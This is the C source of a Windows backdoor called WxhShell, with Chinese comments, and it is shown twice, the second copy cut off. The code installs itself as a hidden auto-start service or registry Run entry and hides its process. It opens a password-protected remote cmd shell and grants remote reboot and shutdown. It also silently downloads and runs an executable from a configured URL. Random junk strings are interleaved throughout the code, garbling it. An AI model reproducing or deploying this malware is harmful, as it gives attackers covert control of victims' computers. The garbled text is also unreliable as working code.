-aOz imuHSxcaV // 自身启动模式 ~.SU$ int StartFromService(void) nW[aPQ[R { .^W0;ISX typedef struct p{u}t!`!d { E_*T0&P.P DWORD ExitStatus; aMD?^ DWORD PebBaseAddress; yrb%g~ELGn DWORD AffinityMask; I*t}gvUt9 DWORD BasePriority; _J`M>W)8 ULONG UniqueProcessId; '7%9Sqx ULONG InheritedFromUniqueProcessId; ?q7Gs)B=^' } PROCESS_BASIC_INFORMATION; -O6o^Dk 8;bOw PROCNTQSIP NtQueryInformationProcess; 4K,&Q/Vdd7 SxyFFt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %|||M=akk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oOvbel`; \8H"lcj: HANDLE hProcess; oOw"k*,h:S PROCESS_BASIC_INFORMATION pbi; ^`9OA`2 g M.(BN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iE{ SqX if(NULL == hInst ) return 0; eLWzd_ln [:Y^0[2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {rr\hl-$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E_#&L({|@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ={d\zjI$ .4-S|]/d, if (!NtQueryInformationProcess) return 0; 4cL=f JaTW/~ TU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z!6G(zz:> if(!hProcess) return 0; NIGFu{S 3x$ #L!VuU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x-EAu3=V xr -scdh2 CloseHandle(hProcess); "^7Uk#!
7 qz):YHxT]n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b ;b1V if(hProcess==NULL) return 0; /_HL&|N_5 F.6SX (x HMODULE hMod; LPClE5 char procName[255]; ('Pd
GV4V unsigned long cbNeeded; bEJZh%j! }s9J+m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sx7xb]3XI" NH!!.Z" CloseHandle(hProcess); 'L7.a' @A%`\Ea% if(strstr(procName,"services")) return 1; // 以服务启动 iWEYSi\)n ny0`~bl{p return 0; // 注册表启动 rA7S1)Kq } q
Sah _N f&J*(F*u // 主模块 Nsy.!,!c int StartWxhshell(LPSTR lpCmdLine) bjZ?WZr { Ea1>]V SOCKET wsl; [o "@*kf BOOL val=TRUE; ?6gI8K6X int port=0; QS_xOQ ' struct sockaddr_in door; 0o`o'Z V=c /6fs h7 \ if(wscfg.ws_autoins) Install(); hvwr!(|W )XWL'':bF port=atoi(lpCmdLine); N[%IrN3 z%z$'m if(port<=0) port=wscfg.ws_port; +xa2e?A%L YrX{,YtiX WSADATA data; G5Nub9_*X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y+_U6rv[ ~drNlt9jf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W3#L!&z_wK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Dd;?T> door.sin_family = AF_INET; 6\L,L& door.sin_addr.s_addr = inet_addr("127.0.0.1"); VEk|lX;2 door.sin_port = htons(port); .)Q'j94Q >jIc/yEYKI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f3O'lc3 closesocket(wsl); }OZfsYPz}T return 1; d p].FS } qp8;=Nfa x
:s-\>RcA if(listen(wsl,2) == INVALID_SOCKET) { 3zkq'lZ closesocket(wsl); d4U_Wu& return 1; -#@;-2w } {Ffr l(* Wxhshell(wsl); bk2vce& WSACleanup(); 2epL!j)Wh YR>x h2< 9 return 0; fQ@["b o5d)v)Rx= } pE#0949 QGa"HG5NF // 以NT服务方式启动 -3C~}~$>` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) . Hw^Nx { -Cl0!}P4I DWORD status = 0; iD9GAe}x DWORD specificError = 0xfffffff; kE1u-EA R~o?X^^O serviceStatus.dwServiceType = SERVICE_WIN32; !Wk "a7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ay2.CBF serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pAYuOk9n serviceStatus.dwWin32ExitCode = 0; {chl+au*l serviceStatus.dwServiceSpecificExitCode = 0; p("do1: serviceStatus.dwCheckPoint = 0; W/+0gh7`,( serviceStatus.dwWaitHint = 0; }5|uA/B q>?oV(sF hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _nF_RpS if (hServiceStatusHandle==0) return; JL1Whf M~v{\!S status = GetLastError(); d] {^ if (status!=NO_ERROR) N6eY-`4y { 2gi`^%#k] serviceStatus.dwCurrentState = SERVICE_STOPPED; FTn[$q serviceStatus.dwCheckPoint = 0; t_3XqjuA serviceStatus.dwWaitHint = 0; 5,A/6b serviceStatus.dwWin32ExitCode = status; "{}5uth serviceStatus.dwServiceSpecificExitCode = specificError; 2Ig.hnHj SetServiceStatus(hServiceStatusHandle, &serviceStatus); }\B6d\k return; sBh|y F, } gC?k6)p$N 4GJsVA (d| serviceStatus.dwCurrentState = SERVICE_RUNNING; Z^b1i`v serviceStatus.dwCheckPoint = 0; R lv|DED$ serviceStatus.dwWaitHint = 0; S;=
D/)[mr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wh7$')@ } JA&w"2X*E %*,'&S // 处理NT服务事件,比如:启动、停止 eD(#zfP/+ VOID WINAPI NTServiceHandler(DWORD fdwControl) #R &F { %',.
K)IR switch(fdwControl) $?7}4u, { \
FA7 +Q case SERVICE_CONTROL_STOP:
*v6'I-# serviceStatus.dwWin32ExitCode = 0; z}Q54,9m serviceStatus.dwCurrentState = SERVICE_STOPPED; 3a =KgOvp serviceStatus.dwCheckPoint = 0; ^z_~e@U serviceStatus.dwWaitHint = 0; FQ_4a}UOjX { ke/QFN-` SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9G&l{7 = } 0h* AtZv_ return; <~]s+"oVc case SERVICE_CONTROL_PAUSE: 3]T2Zp&; serviceStatus.dwCurrentState = SERVICE_PAUSED; SOd(& > break; hD"Tjd` P case SERVICE_CONTROL_CONTINUE: P*_Q 8I)Y serviceStatus.dwCurrentState = SERVICE_RUNNING; y'{0|Xj break; 6j0!$q^ case SERVICE_CONTROL_INTERROGATE: 8[eH8m#~$ break; cu|{cy- }; (sZB- SetServiceStatus(hServiceStatusHandle, &serviceStatus); yPW?%7 h } I~Ziq10 mN,Od?q[ // 标准应用程序主函数 `CO?} rW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0^4Tem@ { )g)X~]* ~R3@GaL1 // 获取操作系统版本 YOqBIbp~&) OsIsNt=GetOsVer(); !-[e$?- GetModuleFileName(NULL,ExeFile,MAX_PATH);
Rb?6N 8^2Q ~{i // 从命令行安装 Xfe,ZC) if(strpbrk(lpCmdLine,"iI")) Install(); !fY'^Ya? qXgg"k%A\ // 下载执行文件 \G2& if(wscfg.ws_downexe) { PKk_9Xd if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *?cE]U6; WinExec(wscfg.ws_filenam,SW_HIDE); .:E%cL
+h } cl[rgj zl$'W=[rFs if(!OsIsNt) { M,zUg_ @ // 如果时win9x,隐藏进程并且设置为注册表启动 cZi/bIh HideProc(); qn:3s StartWxhshell(lpCmdLine); +eQg+@u } SD |5v* else !CUrpr/* if(StartFromService()) ~'n3],o? // 以服务方式启动 f/aSqhAW StartServiceCtrlDispatcher(DispatchTable); J'W6NitMr else ?!KqDI // 普通方式启动 e~oI0%xl^ StartWxhshell(lpCmdLine); wP29xV"5 j8P=8w{ return 0; R!5j1hMN` } _DS_AW}D !{jDZ?z{h qq
G24**9v 7vZznN8e =========================================== r$d,ChzQn? zyTeF~_ Xi$2MyRd sk6C/ '0: B
E!HM{- cyL"?vR*< " ~"xc
3(h [jU.58* #include <stdio.h> ]hRCB=G #include <string.h> qXcHf6 #include <windows.h> Jsde+G,N #include <winsock2.h> R1)v;^B|) #include <winsvc.h> llN#4D9s #include <urlmon.h> 0e-M 24,C 7M9Ey29f #pragma comment (lib, "Ws2_32.lib") j&~`H:=E
#pragma comment (lib, "urlmon.lib") =f4>vo}@k teIUSB[ #define MAX_USER 100 // 最大客户端连接数 8`M) r'5 #define BUF_SOCK 200 // sock buffer u 6A!Sw #define KEY_BUFF 255 // 输入 buffer z$C}V/Ey YBF|0A{[Y #define REBOOT 0 // 重启 [TRHcz n #define SHUTDOWN 1 // 关机 UaG
}) -k(bM: #define DEF_PORT 5000 // 监听端口 6ZKSet8 eb10=Lmj #define REG_LEN 16 // 注册表键长度 :Aq==N_/2 #define SVC_LEN 80 // NT服务名长度 m%7T ~ _!_%Afz // 从dll定义API 20h+^R3{Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v@n0ma= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Aj4?AXWc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !'#Y-"=ypk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ 'aSPA `?P)RS30 // wxhshell配置信息 pQ2'0u5w5 struct WSCFG { n;QMiz:yY int ws_port; // 监听端口 S3fyt]pp char ws_passstr[REG_LEN]; // 口令 N#C,q&; int ws_autoins; // 安装标记, 1=yes 0=no 'qoDFR\v char ws_regname[REG_LEN]; // 注册表键名 4+?d0 char ws_svcname[REG_LEN]; // 服务名 8p"R4 char ws_svcdisp[SVC_LEN]; // 服务显示名 @?bO@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 {XR3L'X char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NW?.Ge.!P int ws_downexe; // 下载执行标记, 1=yes 0=no -0P(lkylf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <+3-(& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u]`ur#_ >_esLsPWh] }; "Zr+>a !N"Y // default Wxhshell configuration C[c^zn
struct WSCFG wscfg={DEF_PORT, U?/C>g%/PI "xuhuanlingzhe", )b\89F 1, e:`d)GE "Wxhshell", cI#! Y "Wxhshell", %0&c0vT "WxhShell Service", u/6b.hDO "Wrsky Windows CmdShell Service", ^VL",Nt "Please Input Your Password: ", ?xX9o 1, 0Tp,b (;n "http://www.wrsky.com/wxhshell.exe", C]dK/~Z#r "Wxhshell.exe" A4Sb(X|j }; ~3'}^V\ .^hk^r // 消息定义模块 "1I\~]] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lD+f{GR char *msg_ws_prompt="\n\r? for help\n\r#>"; ]'q"Kw/10 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
Fm-D>PR char *msg_ws_ext="\n\rExit."; p#A{.6Pa: char *msg_ws_end="\n\rQuit."; OUM^u* char *msg_ws_boot="\n\rReboot..."; b_v {Q E< char *msg_ws_poff="\n\rShutdown..."; nA1059B
char *msg_ws_down="\n\rSave to "; 6O@/Y;5i u*w'.5l char *msg_ws_err="\n\rErr!"; @a~GHG[x char *msg_ws_ok="\n\rOK!"; QtSJ9;eP ZkA05wPZ# char ExeFile[MAX_PATH]; 0cF+4,5 int nUser = 0; .+#<~Jv HANDLE handles[MAX_USER]; (Vz\02,K int OsIsNt; Thc"QIk&4 !TwH;#U w SERVICE_STATUS serviceStatus; xQKRUHDc SERVICE_STATUS_HANDLE hServiceStatusHandle; E!rgR5Bd JbR;E`8 // 函数声明 XSBh+)0Ww int Install(void); -h%!#g int Uninstall(void); z\g6E/ %% int DownloadFile(char *sURL, SOCKET wsh); yb 4Jsk5% int Boot(int flag); LFwRTY,G void HideProc(void); $_5a1Lq1 int GetOsVer(void); ]:g;S,{ int Wxhshell(SOCKET wsl); 09_5niaz[ void TalkWithClient(void *cs); SW; %2 int CmdShell(SOCKET sock); L!qXt(` int StartFromService(void); 0YsBAfRG int StartWxhshell(LPSTR lpCmdLine); VC T~"T2R n,l{1 q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U#U' iPy VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^.?5!9U
qPH=2k,H // 数据结构和表定义 DMXm$PU4V SERVICE_TABLE_ENTRY DispatchTable[] = V7}3H2]^ { P\k5% {wscfg.ws_svcname, NTServiceMain}, !Zi_4 .(4 {NULL, NULL} 5&Vp(A[m[ }; \+3P<?hD# =k0qj_ // 自我安装 'n$TJp|s int Install(void) QA"mWw-Ds { azKiXr#_( char svExeFile[MAX_PATH]; j-}WA" HKEY key; =[ZuE0c strcpy(svExeFile,ExeFile); ]IQ`.:g=9 k.@OFkX. // 如果是win9x系统,修改注册表设为自启动 ~9Jlb-*I5 if(!OsIsNt) { +r<d z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bsc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bw[s<z|LKA RegCloseKey(key); DnI31!+y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [OU[i(,{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z8xKg RegCloseKey(key); +BaZl<ZP1s return 0; 1;FtQnvH } jMUN|(=Y } ~u^MRe|` } Jv[c?6He else { ?ypX``3#s7 93]67PL#+ // 如果是NT以上系统,安装为系统服务 ]hHL[hoFC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9esMr0*= if (schSCManager!=0) W!=X_ { xZc].l6 SC_HANDLE schService = CreateService X8uAwHa6F ( y(92 Th$ schSCManager, 81jVjf?` wscfg.ws_svcname, VX{9g#y$j wscfg.ws_svcdisp, 1RM@~I$0 SERVICE_ALL_ACCESS, Smc=-M} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c7R<5f SERVICE_AUTO_START, ?P>3~3 B SERVICE_ERROR_NORMAL, eY'< UO svExeFile, u301xc,N<z NULL, fFiFS\''V NULL, ='z4bU NULL, Yb?L:,a(I NULL, VxTrL}{(6 NULL z-g"`w:Lj ); (;6vT'hE if (schService!=0) uJ@C-/BD!M { D\CjR6DE CloseServiceHandle(schService); u+_6V CloseServiceHandle(schSCManager); 6aq=h`Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [,?5}'we strcat(svExeFile,wscfg.ws_svcname); *^=zQ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E,wOWs* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,2MLYW, RegCloseKey(key); i[V\RKH*F return 0; hwj:$mR } [PP&}.k4" } tsf)+`vt CloseServiceHandle(schSCManager); j.:I{!R# } -qNun3 } fnZ?YzLI W9M~2<
L return 1; %}/ |/= } tmVGJ+gz v3I-i|L<) // 自我卸载 zg+6<
.Sf int Uninstall(void) Yk @/+PE { 6t!PHA HKEY key; hgPzx@ 4mM?RGWv if(!OsIsNt) { t,,W{M|E( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6U(MHxY RegDeleteValue(key,wscfg.ws_regname); .sBwJZ RegCloseKey(key); =,w(D~ps if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '5;
/V RegDeleteValue(key,wscfg.ws_regname); EgB$y"fs RegCloseKey(key); i8Xz'Sw07 return 0; FhJtiw@ } bg/a5$t
} |SSe n#PYp } <!G%P4) else { [L`w nP ic=tVs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H9+[T3b if (schSCManager!=0) /]>8V'e\ { $ts1XIK% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,(y6XUV~ if (schService!=0) pr.+r?la] { 0hv}*NYd if(DeleteService(schService)!=0) { 45aFH}w: CloseServiceHandle(schService); ,.,spoV CloseServiceHandle(schSCManager); 4qvE2W}& return 0; ZgI ?#e } 7M, (!*b CloseServiceHandle(schService); -POsbb> } eFXQ~~gOj CloseServiceHandle(schSCManager); S!6 ? b5 } 9?38/2kX4 } :c}"a(| e754g(|>b return 1; O]VHX![Y$ }
.u3Z*+ UB2Ft= // 从指定url下载文件
H_vGa!_ int DownloadFile(char *sURL, SOCKET wsh) /Dj-@7.C/ { -J]j= HRESULT hr; <1eD*sC?g char seps[]= "/"; _2~+%{/m, char *token; 5lrjM^E| char *file; H63?Erh>a char myURL[MAX_PATH]; F1GFn|OA char myFILE[MAX_PATH]; ,?oC+9w ./i5VBP5 strcpy(myURL,sURL); `NB6Of*/ token=strtok(myURL,seps); w0&|8y while(token!=NULL) F XG,DJ: { =x3T+)qCNX file=token; %}[/lIxaE token=strtok(NULL,seps); # ~(lY} } %@MO5#)NI Lu5lpeSQ GetCurrentDirectory(MAX_PATH,myFILE); /H~]5JZ3-E strcat(myFILE, "\\"); }F4%5go strcat(myFILE, file); ;|r<mT/, send(wsh,myFILE,strlen(myFILE),0); =HHtLW.|, send(wsh,"...",3,0); hEMS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j^6,V\;l if(hr==S_OK) BK)3b6L=% return 0; AOv>O52F/Q else ]47!Zo, return 1; )'i n}M pv"QgH } 'BX
U' D $&6 8 // 系统电源模块 .g>0FP int Boot(int flag) )~be<G( a { $Y?[[>u HANDLE hToken; fM!@cph(8 TOKEN_PRIVILEGES tkp; 7Sl"q=> K_GqM9 if(OsIsNt) { IylfMwLC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &1FyauH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3DOc,}nI~@ tkp.PrivilegeCount = 1; bZ[ay-f6oK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'b:UafV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UFGUP]J> if(flag==REBOOT) { bPA1>p7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BT|n+Y[ return 0; OMm'm\+/ } &xE+PfX else { :V~
AjV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W(o#2;{ln return 0; jZR2Nx}16 } k2:mIp\ } /[+qw%> else { rYO~/N if(flag==REBOOT) { 'k9Qd:a} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z)!#+m83>- return 0; %TYe]^/'y } 1
EwCF else { jhB+ ] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8d[!"lL return 0; Yv"-_ } 2[I[I*"_d } 4$^rzAi5 :RDQP return 1; d;v<rw } i?n#ge <(_${zR // win9x进程隐藏模块 Gdv{SCV void HideProc(void) GzjC;+W { !laOiH T)mh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |vY|jaV} if ( hKernel != NULL ) :u|F>e {
,+!|~1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qF4=MQm\aE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %o_CD>yD FreeLibrary(hKernel); ;\
gat)0n% } rqEP!S^ "O<TNSbrC return; !m?W+z~J } cv9-ZOxJ Xp~O?2:3l // 获取操作系统版本 TlpQ9T int GetOsVer(void) J~lKN
<w { lin OSVERSIONINFO winfo; O5dBI_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J=B,$4)9 GetVersionEx(&winfo); ]~7xq)28 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9M7Wlx2 return 1; ESi-'R& else mhMRY9 ahB return 0; zv~b-Tp } xPMX\aI|l <5npVm // 客户端句柄模块 T#ehJq 5 int Wxhshell(SOCKET wsl) [='<K { F32U;fp3 SOCKET wsh; LsaRw-4.c struct sockaddr_in client; }0 =gP?.kE DWORD myID; gsVm)mkd [-h=L
Jf# while(nUser<MAX_USER) M7c53fz { .83z = int nSize=sizeof(client); k@Bn}r wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #R#|hw if(wsh==INVALID_SOCKET) return 1; 9iN}v 2o1 RJk9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @pV&{Vp if(handles[nUser]==0) jN{+$ @cI closesocket(wsh); zfK3$| else _F3=
H]P nUser++; ,S-zY\XB } Y 016Xg5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >/7[HhBT %$=}ePD return 0; m-'+)lB } 02q*z>:^ fX}dQN~z // 关闭 socket !==C@cH<N void CloseIt(SOCKET wsh) zqm/<]A*l { {%QWv%| closesocket(wsh); .2/W.z2 nUser--; <v$yXA ExitThread(0); :2-!bLo}& } ,e+S7YX GL3olKnL // 客户端请求句柄 ..yLtqos void TalkWithClient(void *cs) 5 0< { !KLY*bt6 H~~>ut6` SOCKET wsh=(SOCKET)cs; -}P/<cu: char pwd[SVC_LEN]; dgW/5g char cmd[KEY_BUFF]; kx07Ium char chr[1]; #RP7?yGM, int i,j; Df0m 89[OaT_hs while (nUser < MAX_USER) { g BV66L 7r$'2">K( if(wscfg.ws_passstr) { S/Gy:GIf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); leO..M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ef]60OtP //ZeroMemory(pwd,KEY_BUFF); .h\[7r i=0; d5 U+]g while(i<SVC_LEN) { ?o_D#gG* ,{sCI/ // 设置超时 CChCxB fd_set FdRead; +tp@Tb struct timeval TimeOut; z+X DN: FD_ZERO(&FdRead); ~4u[\&Sh FD_SET(wsh,&FdRead); we2D!Ywr TimeOut.tv_sec=8; Fes/8*- TimeOut.tv_usec=0; HsAKz]Mq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E(0 [/N~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pR7 D3Q:^7 d1n*wVl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <amdPo+2D pwd=chr[0]; t"FB}%G if(chr[0]==0xd || chr[0]==0xa) { 6F08$,%Y pwd=0;
bj U]] break; j(];b+> } lvIdYf$? i++; @1+({u#B } OM#eJ,MH<) Nx<%'-9)| // 如果是非法用户,关闭 socket z#t;n if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IGcYPL\& } Un{ 9reX5 @M8vPH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9vJ'9Z2\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .?;"iv+ #mH4\s while(1) { Oh/2$72 '{:lP"\,L ZeroMemory(cmd,KEY_BUFF); Oo8"s+G d(;Qe}ok> // 自动支持客户端 telnet标准 DT>Giic j=0; aDVBi: _ while(j<KEY_BUFF) { TZ]o6B b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \,yX3R3}.~ cmd[j]=chr[0]; <hmRr if(chr[0]==0xa || chr[0]==0xd) { KcF#c_f
cmd[j]=0; =Vi>?fWpn= break; AJR`ohh } lb[\Lzdvmu j++; W5zlU2 } UN7J6$!Cx7 ^HI}bS1+| // 下载文件 wsyAq'%L if(strstr(cmd,"http://")) { [E4#|w send(wsh,msg_ws_down,strlen(msg_ws_down),0); qn#f:xltu if(DownloadFile(cmd,wsh)) l]KxUkA+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`} d@x else Kf'oXCs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?84WS } }pL#C else { GHR,KB7 xM D?}K|z LQ switch(cmd[0]) { EmubpUS; H\@@iK= // 帮助 G5'HrV case '?': { yfCdK-9+B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <jHo2U8/"s break; ~91) DNaE } XonI // 安装 V~_aM@q1 case 'i': { Tq`rc"&7u if(Install()) !%Qm{R send(wsh,msg_ws_err,strlen(msg_ws_err),0); iK <vr else 7S)u7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e BxOa break; 18kzR6(W } o2r)K AA // 卸载 8@-
UvT&o case 'r': { 'n0u6hCSb if(Uninstall()) ,pMH` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cz]NSG 5 else )%=oJ!) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gs)2HR@> break; :;u?TFCRx } 89X`U)Ws // 显示 wxhshell 所在路径 Y> f 6 case 'p': { C6cEt5 char svExeFile[MAX_PATH]; BaUcmF2Q strcpy(svExeFile,"\n\r"); x cA5 strcat(svExeFile,ExeFile); xix:=
a send(wsh,svExeFile,strlen(svExeFile),0); jj8h>"d break; @O Rk } euc|G Xs // 重启 *mTx0sQz(J case 'b': { 1Wy0#?L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N)N\iad^ if(Boot(REBOOT)) y:+4-1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); f*&4d
else { @ob4y closesocket(wsh); tp3]?@0 ExitThread(0); j65qIw_Z } O0Sk?uJ< break; M5>cYVG } fkmN?CU{1% // 关机 k x26nDT( case 'd': { M
h5>@-fEE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | Xv]s61 if(Boot(SHUTDOWN)) CBvvvgI o send(wsh,msg_ws_err,strlen(msg_ws_err),0); XlGDv*d:#d else { oz[:
T3oE> closesocket(wsh); %
A8dO+W ExitThread(0); hxQx$ } FyV)Nmc%t break; :]g>8sWL } 896oz> // 获取shell bw& U[|A0% case 's': { @K:TGo,%I CmdShell(wsh); Q5~Y;0' closesocket(wsh); D?:AHj%gW ExitThread(0); ? <"H Io break; =@EX!]=x } (h3f$ // 退出 Oj ?
|g_ case 'x': { *8?0vkZZ2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J;AwC>N CloseIt(wsh); Y3RaR
9 break; LWp#i8, } 0v/}W( // 离开 z1R_a=7 case 'q': { PH]/*LEj send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?ot7_ vl closesocket(wsh); -SGoE= WSACleanup(); o,yP9~8\ exit(1); 1o*eu&@ break; h~R= ?%H[ } a(BEm_l3 } y>YQx\mK } S%t*! 8M&q // 提示信息 [x\?._> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,KyG^;Riy } :G\X } 5U!yc7eBI/ i,z^#b7JQ return; $63_*9 } aUTXg60l* ta'{S=^j // shell模块句柄 (o5^@aDr int CmdShell(SOCKET sock) V0ig#?] { S7Tc9"oqV STARTUPINFO si; @P@j9yR ZeroMemory(&si,sizeof(si)); ]W9 {<+& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aIXN wnq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HJ]9e PROCESS_INFORMATION ProcessInfo; U6/$CH<pe char cmdline[]="cmd"; 9nrmz>es|- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); td"D&1eQ@ return 0; EO:
VH } 8,DY0PGP 9J
$"Qt5;6 // 自身启动模式 Q6lC :cB< int StartFromService(void) aHR&6zj4 { rOyKugHe typedef struct T}55ZpSC& { FT$Z8 DWORD ExitStatus; 7i@vj7K DWORD PebBaseAddress; Z|
f~
DWORD AffinityMask; '1r<g\l DWORD BasePriority; +IkL=/';# ULONG UniqueProcessId; ) ]
C"r_ ULONG InheritedFromUniqueProcessId; []I_r= } PROCESS_BASIC_INFORMATION; {^jk_G\ys lI*uF~ 'D PROCNTQSIP NtQueryInformationProcess; W8>< )' 3V4Z& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n&N>$c,T27 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \]y /EOT &]_2tN=S$ HANDLE hProcess; |q+dTy_n PROCESS_BASIC_INFORMATION pbi; px>g Rxfhk,I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fd(o8z8Q if(NULL == hInst ) return 0; HV}*}Ty *<"#1H/q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GJo`9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oT}-i [=} NtQueryInformationProcess = 